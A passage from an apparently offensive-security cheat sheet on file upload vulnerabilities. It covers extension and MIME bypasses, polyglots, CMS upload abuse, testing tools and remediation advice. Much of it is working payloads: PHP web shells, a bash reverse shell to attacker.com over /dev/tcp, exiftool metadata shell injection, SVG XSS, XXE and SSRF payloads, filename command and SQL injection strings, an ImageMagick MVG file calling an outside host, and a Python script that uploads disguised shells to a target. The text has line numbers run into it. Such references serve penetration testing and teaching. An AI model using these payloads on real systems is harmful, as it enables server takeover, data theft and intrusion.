`Range` headers to potentially redirect parts of the download to internal servers.238239### Bypass Techniques240241```mermaid242mindmap243 root((Bypass Techniques))244 Client-Side245 Disable JavaScript246 Request Interception247 Extension Manipulation248 MIME-Type Manipulation249 Server-Side250 Metadata Injection251 Image Content Manipulation252 Polyglot Techniques253 Path Traversal254 DenyList Bypass255 Magic Byte Forging256 Windows Specific Bypasses (. and ADS)257```258259#### Client-Side Validation Bypasses2602611. **Disabling JavaScript**:262 - Disable JavaScript to bypass client-side checks263 - Use browser developer tools to modify the DOM2642652. **Request Interception**:266 - Intercept and modify upload requests using Burp Suite or ZAP267 - Change file parameters post-validation2682693. **Extension Manipulation Techniques**:270271```272# Null byte injection (for PHP < 5.3.4)273shell.php%00.jpg274shell.php\x00.jpg275276# Using alternate representations277shell.php.....278shell.php;.jpg279shell.php::$DATA.jpg280281# Manipulating request content2821. Upload legitimate image2832. Intercept request2843. Replace file content with shell while keeping filename285```2862874. **MIME-Type Manipulation**:288 - Modify Content-Type header to match expected type289 - Change file signature/magic bytes to appear as legitimate format290291#### Server-Side Validation Bypasses2922931. **Metadata Injection**:294 - Inject code into image metadata (EXIF)295296 ```297 exiftool -Comment="<?php system(\$_GET['cmd']); ?>" payload.jpg298 ```2993002. **Image Content Manipulation**:301 - Create images containing server-side code302303 ```304 # PHP code in GIF file305 GIF89a;306 <?php system($_GET['cmd']); ?>307 ```3083093. **Advanced Polyglot Techniques**:310 - Create files that are valid in multiple formats311312 ```313 # Valid JPG and PHP314 Create JPG with PHP code after the image data315 Add PHP code to EXIF data316 ```3173184. **Path Traversal in Upload Locations**:319320 ```321 filename=../../../tmp/shell.php322 filename=..%2f..%2f..%2ftmp%2fshell.php323 filename=../../etc/passwd/logo.png # Example LFI attempt324 filename=\\attacker-site.com\file.png # UNC Path (Windows specific)325 ```3263275. **Common DenyList Bypass**:328329 ```330 escape "/" with "\/" or "//" with "\/\/"331 try single "/" instead of "//"332 remove http i.e. "continue=//google.com"333 "/\/\" , "|/" , "/%09/"334 encode, slashes335 "./" CHANGE TO "..//"336 "../" CHANGE TO "....//"337 "/" CHANGE TO "//"338 filename=..%2f..%2f..%2ftmp%2fshell.php339 # Check IIS specific extensions if applicable340 filename=shell.cer341 filename=shell.asa342 # Windows specific bypasses343 filename=shell.aspx. # Trailing dot344 filename=shell.php::$DATA # Alternate Data Stream (ADS)345 filename=shell.php:.jpg # ADS confusion346 ```3473486. **GIF Comment Bypass**:349 - Inject payload within GIF comments.350351 ```352 GIF89a/*<svg/onload=alert(1)>*/=alert(document.domain)//;353 ```3543557. **Magic Byte Forging**:356 - Prepend malicious file content with the magic bytes of an allowed file type.357 ```358 # Example: GIF header + PHP shell359 GIF89a;360 <?php echo 'Magic Byte Bypass'; phpinfo(); ?>361 ```362363## Vulnerabilities364365### Common File Upload Vulnerability Patterns366367```mermaid368graph TD369 A[File Upload Vulnerabilities] --> B[Implementation-Specific]370 A --> C[Impact Scenarios]371372 B --> D[CMS Upload Vulnerabilities]373 B --> E[Framework Upload Vulnerabilities]374 B --> F[Language-Specific Vulnerabilities]375376 C --> G[RCE]377 C --> H[XSS]378 C --> I[SSRF]379 C --> J[DoS]380 C --> K[LFI]381```382383#### Implementation-Specific Vulnerabilities3843851. **CMS Upload Vulnerabilities**:386 - **WordPress**: Plugin and theme uploaders387 ```388 Upload plugin ZIP with malicious PHP files389 SVG uploads with XSS in media library390 ```391 - **Drupal**: Module installations392 ```393 Malicious module installation via admin panel394 ```395 - **Joomla**: Template uploads396 ```397 Malicious template installation398 ```3994002. **Framework Upload Vulnerabilities**:401 - **PHP**: File upload handling in common frameworks402 ```403 Laravel file upload middleware bypass404 CodeIgniter upload library misconfiguration405 ```406 - **Java**: Spring MVC file upload handlers407 ```408 Spring MultipartResolver misconfiguration409 ```410 - **ASP.NET**: File upload components411 ```412 ASP.NET FileUpload control misconfiguration413 ```4144153. **Language-Specific Upload Vulnerabilities**:416 - **PHP**: move_uploaded_file() race conditions417 - **Java**: Temporary file creation vulnerabilities418 - **Node.js**: Express-fileupload vulnerabilities419420### Impact Scenarios421422#### Extension Impact Matrix423424Common file extensions and their potential security impacts:425426- **Web Shells & RCE**:427 - `.php`, `.php3`, `.php4`, `.php5`, `.phtml`, `.phar`, `.phpt`428 - `.asp`, `.aspx`, `.ashx`, `.asmx`, `.asa`, `.cer`, `xamlx` (ASP.NET)429 - `.jsp`, `.jspx`, `.jsw`, `.jsv`, `.jspf` (Java Server Pages)430 - `.cfm`, `.cfml`, `.cfc`, `.dbm` (ColdFusion)431 - `.pl`, `.py`, `.rb`, `.cgi`432 - `.htaccess` (if Apache allows override, can reconfigure PHP handling or execute commands)433 - `.config` (web.config for IIS/ASP.NET)434- **Client-Side Attacks**:435 - `.svg`: Stored XSS, SSRF, XXE436 - `.gif`: Stored XSS (via comments), SSRF437 - `.html`, `.js`: HTML injection, XSS, Open redirect, Phishing438 - `.wasm`: WebAssembly modules for client-side code execution439 - `.webp`, `.avif`: Modern image format parser bugs440- **Server-Side Attacks**:441 - `.csv`: CSV injection (Formula Injection)442 - `.xml`: XXE443 - `.avi`, `.mov`: Potential LFI, SSRF (via external streams/subtitles)444 - `.pdf`, `.pptx`: SSRF, Blind XXE (via external entities/references)445 - `.zip`: RCE via LFI (using `zip://` wrapper), DoS (Zip Bomb), Zip Slip (Path Traversal during extraction)446 - `.scf` (Windows Shortcut): RCE (forces NTLM hash disclosure when browsed via UNC path)447- **Denial of Service**:448 - `.png`, `.jpeg`: Pixel flood attack (large dimensions/compressed data)449 - Large filenames: `1234...99.png` (e.g., > 255 chars)450 - Zip bombs (highly compressed archives)451 - Files exploiting parser libraries (ImageTragick, XML bombs)452453#### Remote Code Execution (RCE)454455- **Web Shell Uploading**: Gaining command execution on the server456 ```php457 <?php system($_GET['cmd']); ?>458 ```459- **Reverse Shell Deployment**: Establishing persistent control460 ```php461 <?php exec("/bin/bash -c 'bash -i >& /dev/tcp/attacker.com/443 0>&1'");?>462 ```463464#### File Inclusion Attack Chains465466- **LFI via Uploaded Files**: Chaining local file inclusion with uploads467 ```468 1. Upload malicious file (e.g., `avatar.jpg` containing PHP code).469 2. Trigger inclusion via LFI vulnerability (e.g., `/?page=../../uploads/avatar.jpg`).470 ```471- **LFI via Zip Wrapper**:472 ```473 1. Upload malicious file inside a zip (e.g., `archive.zip` containing `shell.php`).474 2. Trigger inclusion: `/?page=zip://uploads/archive.zip%23shell.php`475 ```476477#### XSS via Uploaded Files478479- **SVG-Based XSS**:480 ```xml481 <?xml version="1.0" standalone="no"?>482 <!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">483 <svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">484 <rect width="300" height="100" style="fill:rgb(0,0,255);stroke-width:3;stroke:rgb(0,0,0)" />485 <script type="text/javascript">486 alert("XSS via SVG");487 </script>488 </svg>489 ```490- **GIF Comment XSS**:491 ```492 GIF89a/*<svg/onload=alert(1)>*/=alert(document.domain)//;493 ```494- **HTML/JS File Uploads**:495 ```html496 <!-- If .html or .js uploads are allowed and rendered -->497 <script>498 alert(document.cookie);499 </script>500 ```501- **Filename-Based XSS**:502 ```503 filename="<svg onload=alert(1)>.jpg"504 filename="xss.<svg onload=alert(1)>.jpg"505 ```506507#### Server-Side Request Forgery (SSRF) via Uploads508509- **XXE in SVG Uploads**:510 ```xml511 <?xml version="1.0" standalone="yes"?>512 <!DOCTYPE svg [ <!ENTITY xxe SYSTEM "http://internal.service/resource"> ]>513 <svg width="128px" height="128px" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" version="1.1">514 <text font-size="16" x="0" y="16">&xxe;</text>515 </svg>516 ```517- **SVG Image Href SSRF**:518 ```xml519 <?xml version="1.0" encoding="UTF-8" standalone="yes"?>520 <svg xmlns:svg="http://www.w3.org/2000/svg" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" width="200" height="200">521 <image height="200" width="200" xlink:href="http://internal-metadata-server/latest/meta-data/" />522 </svg>523 ```524- **PDF/PPTX SSRF**: Exploiting features that fetch external resources.525- **Upload from URL Feature**: If the application allows providing a URL for upload, test internal IPs/metadata endpoints.526- **SSRF via Filename**: Submitting a URL as the filename (`filename=http://internal...`).527- **SSRF via HTTP Range Requests**: Manipulating `Range` header during URL fetch.528529#### XXE via Uploads530531- **XML File Upload**: Standard XXE payloads in `.xml` files.532- **SVG File Upload**: See SSRF example above.533- **Excel File Upload (`.xlsx`)**: `.xlsx` files are zip archives containing XML files (like `sharedStrings.xml`) which can be crafted with XXE payloads.534- **PDF/PPTX Blind XXE**: Similar to SSRF, using external entity references.535536#### Open Redirect via Uploads537538- **SVG Open Redirect**:539 ```xml540 <?xml version="1.0" encoding="UTF-8" standalone="yes"?>541 <svg onload="window.location='https://attacker.com'" xmlns="http://www.w3.org/2000/svg">542 <rect width="300" height="100"/>543 </svg>544 ```545546#### Command Injection via Filename547548- If the filename is passed unsanitized to shell commands:549 ```550 filename="; sleep 10;.jpg"551 filename="`sleep 10`.jpg"552 filename="$(sleep 10).jpg"553 ```554555#### SQL Injection via Filename556557- If the filename is used unsanitized in SQL queries:558 ```559 filename="' OR SLEEP(10)-- -.jpg"560 filename="sleep(10)-- -.jpg"561 filename="'sleep(10).jpg" # Different quoting/termination562 ```563564#### Denial of Service (DoS)565566- **Pixel Flood Attack**: Uploading specially crafted images (e.g., `lottapixel.jpg`) that consume excessive resources during processing. ([Reference](https://github.com/fuzzdb-project/fuzzdb/blob/master/attack/file-upload/malicious-images/lottapixel.jpg))567- **Zip Bomb**: Uploading highly compressed archives that expand significantly.568- **Large Filename**: Using extremely long filenames can sometimes cause issues or DoS.569- **Uploading files with content that exploits parsing libraries (e.g., ImageTragick, billion laughs XXE).**570- **Uploading `.eml` files with `Content-Type: text/html` if processed insecurely.**571- **FFmpeg/Video Processing**: Upload crafted video files (`.mp4`, `.avi`, `.mov`) with malicious metadata or subtitles to trigger SSRF/RCE in video converters.572- **HEIC/AVIF Processing**: Exploit parsing bugs in libheif/libavif during thumbnail generation.573- **PDF.js Browser Rendering**: Upload PDFs with malicious annotations or forms that exploit client-side renderers.574575#### Additional Attack Vectors576577##### ImageMagick Vulnerabilities5785791. Using .mvg files for SSRF/LFI:580581```582push graphic-context583viewbox 0 0 640 480584fill 'url(http://attacker.com/)'585pop graphic-context586```5875882. Using the gifoeb tool for memory disclosure:589590```bash591./gifoeb gen 512x512 dump.gif592# Try different extensions:593./gifoeb gen 1123x987 dump.jpg594./gifoeb gen 1123x987 dump.png595# Recover pixels after upload and download:596# for p in previews/*; do ./gifoeb recover $p | strings; done597```598599##### WAF Bypass Techniques6006011. URL Parameter Manipulation:602603```604/?file=xx.php <- Blocked605/?file===xx.php <- Bypassed606```6076082. Content-Type Manipulation with Metadata:609610```bash611exiftool -Comment='<?php echo "<pre>"; system($_GET['cmd']); ?>' shell.jpg612mv shell.jpg shell.php.jpg613```614615### New CVEs616617- **CVE-2024-29510 – Ghostscript ≤ 10.03.0 EPS/JPG RCE**: Exploit via EPS-in-JPG polyglot when Ghostscript is used for image conversion.618- **CVE-2024-53677 – Apache Struts S2-067**: Multipart upload path-traversal leading to RCE.619- **CVE-2024-57169 – SOPlanning ≤ 1.53**: Arbitrary file upload to the web-root.620- **CVE-2024-48514 – php-heic-to-jpg ≤ 1.0.5**: Filename sanitisation bypass resulting in RCE during HEIC conversion.621- Image processing stacks (libvips/Sharp, GraphicsMagick/ImageMagick, Ghostscript, pdfium) continue to receive critical parser bugs; sandbox converters and track advisories.622- HEIC/AVIF conversion pipelines frequently mishandle temporary files and trust `Content-Type`/magic bytes.623- Serverless image proxies (imgproxy, Thumbor, custom Lambda/Cloud Functions) often allow SSRF/LFI via remote URL sources.624625## Methodologies626627### Tools628629#### File Upload Vulnerability Testing Tools630631- **Burp Suite**: Content-Type and request manipulation, Intruder for fuzzing632- **OWASP ZAP**: Automated scanning for upload vulnerabilities633- **ExifTool**: Metadata manipulation for bypass testing634- **Weevely**: Web shell generation tool635- **Fuxploider**: File upload vulnerability scanner ([GitHub](https://github.com/almandin/fuxploider))636- **Upload Scanner (Burp Extension)**: ([PortSwigger BApp Store](https://portswigger.net/bappstore))637- **FUFF / ffuf / wfuzz**: Fuzzing file upload endpoints, extensions, parameters638639#### Custom Testing Scripts640641```python642import requests643from requests_toolbelt.multipart.encoder import MultipartEncoder644645def test_file_upload(target_url, file_path, file_name, content_type):646 """647 Test file upload with custom parameters648 """649 multipart_data = MultipartEncoder(650 fields={651 'file': (file_name, open(file_path, 'rb'), content_type)652 }653 )654655 headers = {656 'Content-Type': multipart_data.content_type657 }658659 response = requests.post(target_url, data=multipart_data, headers=headers)660661 # Return response for analysis662 return {663 'status_code': response.status_code,664 'response_text': response.text,665 'response_headers': dict(response.headers)666 }667668# Example usage:669target = 'https://target.com/upload.php'670test_cases = [671 # Basic tests672 {'path': 'shell.php', 'name': 'legitimate.jpg', 'type': 'image/jpeg'},673 {'path': 'shell.php', 'name': 'shell.php.jpg', 'type': 'image/jpeg'},674 {'path': 'shell.php', 'name': 'shell.php%00.jpg', 'type': 'image/jpeg'},675 {'path': 'shell.php', 'name': 'shell.php%20.jpg', 'type': 'image/jpeg'},676 {'path': 'shell.php', 'name': 'shell.php%0d%0a.jpg', 'type': 'image/jpeg'},677 {'path': 'shell.php', 'name': 'shell.php.blah123jpg', 'type': 'image/jpeg'},678 # Content-type tests679 {'path': 'legitimate.jpg', 'name': 'legitimate.jpg', 'type': 'image/jpeg'},680 {'path': 'shell.php', 'name': 'shell.php', 'type': 'image/jpeg'},681 {'path': 'shell.php', 'name': 'shell.php', 'type': 'image/gif'},682 # Extension tests683 {'path': 'shell.php', 'name': 'shell.phtml', 'type': 'application/x-php'},684 {'path': 'shell.php', 'name': 'shell.PhP', 'type': 'application/x-php'},685 {'path': 'shell.php', 'name': 'shell.php.', 'type': 'application/octet-stream'},686 {'path': 'shell.php', 'name': 'shell.php%20', 'type': 'application/octet-stream'},687]688689for test in test_cases:690 result = test_file_upload(target, test['path'], test['name'], test['type'])691 print(f"Testing {test['name']} ({test['type']}): {result['status_code']}")692```693694### Testing Strategies695696#### Comprehensive File Upload Testing Process6976981. **Discovery Phase**:699 - Map all file upload functionality700 - Identify client-side and server-side validation patterns701 - Document allowed file types and upload restrictions7027032. **Initial Testing Phase**:704 - Test baseline functionality with expected file types705 - Test basic restriction bypasses:706 - Extension manipulation707 - Content-Type manipulation708 - Simple payload attempts7097103. **Advanced Testing Phase**:711 - Test for complex bypass techniques:712 - Polyglot files713 - Metadata injection714 - Race conditions715 - Upload directory traversal7167174. **Exploitation Phase**:718 - Verify code execution for successful uploads719 - Test chained attack scenarios720 - Document impact and attack chains7217225. **Post-Exploitation Testing**:723 - Test upload persistence724 - Test access control on uploaded files725 - Test ability to access uploads across user contexts726727#### Real-World Testing Examples728729##### CMS File Upload Testing7307311. Identify CMS type and version7322. Map file upload functionality (plugins, themes, media)7333. Test bypasses specific to the CMS:734 - WordPress: Plugin installation with malicious PHP735 - Drupal: Module upload with executable code736 - Joomla: Template upload with backdoor7374. Verify code execution738739##### Multi-step Bypass Testing7407411. Attempt standard upload with blocked extension (.php)7422. If blocked, try modification techniques:743 - Double extensions (.jpg.php)744 - Alternate extensions (.phtml, .php5)745 - Case manipulation (.pHP)7463. If still blocked, try content manipulation:747 - Change Content-Type header748 - Modify magic bytes749 - Use polyglot techniques7504. If successful, verify execution path751752##### SVG Upload for XSS Testing7537541. Create malicious SVG:755756```757 <svg xmlns="http://www.w3.org/2000/svg" onload="alert(document.cookie)"/>758```7597602. Upload to target site7613. Access uploaded SVG directly or in context7624. Verify XSS execution763764## Remediation Recommendations765766- **Implement Proper Validation**:767 - Validate file type using content inspection, not just extension768 - Use file signature/magic byte checking769 - Implement allowlist approach for permitted file types AND extensions (Defense in Depth)770771- **Apply Multiple Security Layers**:772 - Implement client-side AND server-side validation773 - Use content-type validation AND extension validation774 - Scan uploaded files with security tools775 - Use separate domains or CDNs for user-uploaded content (reduces XSS risk)776 - Implement proper, restrictive permissions on upload directories (prevent execution)777778- **Store Files Securely**:779 - Store uploaded files outside the web root when possible780 - Use separate domains for user-uploaded content781 - Implement proper permissions on upload directories782783- **Process Uploaded Files**:784 - Remove metadata from images785 - Re-encode/compress uploaded images786 - Strip potentially dangerous content787 - Use random, unpredictable filenames generated by the server (prevents guessing/overwriting)788 - Validate file paths against directory traversal789 - Content Disarm & Reconstruction (CDR): re-encode or convert documents and images on a trusted pipeline before storage or delivery.790 - Sandbox Image/Document Converters: run Ghostscript, ImageMagick, and HEIC libraries under seccomp, Firejail, or bubblewrap to contain 0-days.791 - Supply-Chain Hygiene: track image/document-processing dependencies with an SBOM (e.g., Syft) and enable automated updates via Dependabot or Renovate.792793- **Implement File Upload Best Practices**:794 - Set upload size limits795 - Implement file scanning for malware796 - Use random, unpredictable filenames797 - Validate file paths against directory traversal798799- **Context-Specific Controls**:800 - For image uploads: Validate dimensions and recompress801 - For document uploads: Convert to PDF or other safe format802 - For code uploads: Implement sandbox execution environment or strict validation/linting803804- **HTTP Headers**:805 - For downloaded files, set `Content-Disposition: attachment; filename="user_safe_filename.ext"` to force download prompt.806 - Set `X-Content-Type-Options: nosniff` to prevent browsers from MIME-sniffing the content type away from the declared one.807808### Cloud / Object-Storage Upload Checklist809810- Use presigned URLs with **short TTL (≤ 60 s)** and **single-use** semantics.811- Enforce `bucket-owner-enforced` ACL or **Object Lock** to prevent post-scan overwrites.812- Require **server-side encryption** headers (for example `x-amz-server-side-encryption`) on presigned PUTs.813- Restrict the IAM role used for uploads to **PutObject** only; deny `GetObject` and `DeleteObject` unless required.814- Validate the object key on the backend after upload; reject keys containing `../` or control characters.815- For compute workers processing uploads, enforce **IMDSv2** and limit egress to mitigate SSRF pivots.816817### Cloud/Object Storage Advanced818819- Presigned POST policies: verify policy `conditions` enforce `content-type`, size, and key prefix; reject uploads whose actual `Content-Type` differs at processing time.820- Compute ETag/MD5 checks; reject mismatched `Content-MD5` values; beware S3 multipart ETag semantics for multi-part uploads.821- Scan and quarantine newly uploaded objects before publishing; block overwrites via Object Lock; publish via a separate, read-only bucket.822- Prevent key confusion: disallow keys with `%2f`, unicode homoglyphs, or hidden dot segments that may bypass prefix-only allowlists.823- CDN/image pipeline: disable remote URL sources or restrict to allowlisted domains with DNS pinning; strip metadata and re-encode.824- Enforce V4 signature strictness on presigned URLs; reject headers not in policy; verify expiration on access.825826### Chunked/Streaming and CDN/Image Pipelines827828- HTTP chunked smuggling: proxies may stream parts to backends before full validation; ensure backends validate final file after full receive.829- Parallel/multipart chunk races: verify server holds uploads in a quarantine path until all validations complete; deny direct reads from temp locations.830- Image pipelines with `?url=` sources: treat as SSRF; block private IPs, localhost, and metadata endpoints; enforce DNS rebinding protections.831